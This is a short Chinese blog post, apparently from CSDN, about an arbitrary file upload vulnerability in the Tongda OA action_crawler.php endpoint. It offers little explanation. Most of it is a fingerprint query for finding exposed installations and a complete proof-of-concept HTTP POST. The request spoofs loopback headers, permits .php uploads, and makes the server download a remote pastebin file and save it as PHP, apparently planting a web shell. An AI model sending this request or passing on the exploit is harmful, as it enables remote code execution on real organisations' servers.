通达OA action_crawler.php 任意文件上传

最新推荐文章于 2024-07-19 12:43:35 发布

qq_36334672

最新推荐文章于 2024-07-19 12:43:35 发布

阅读量434

点赞数 2

文章标签：爬虫 php 开发语言 web安全安全

本文链接：https://blog.csdn.net/qq_36334672/article/details/135951248

版权

漏洞描述

网络资产测绘

app=“TDXK-通达OA”
在这里插入图片描述

Poc

POST /module/ueditor/php/action_crawler.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Length: 213
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1

CONFIG[catcherPathFormat]=/api/zuk8abxcbg&CONFIG[catcherMaxSize]=100000&CONFIG[catcherAllowFiles][]=.php&CONFIG[catcherAllowFiles][]=.ico&CONFIG[catcherFieldName]=file&file[]=https://pastebin.com/raw/0DuNGn7n#.php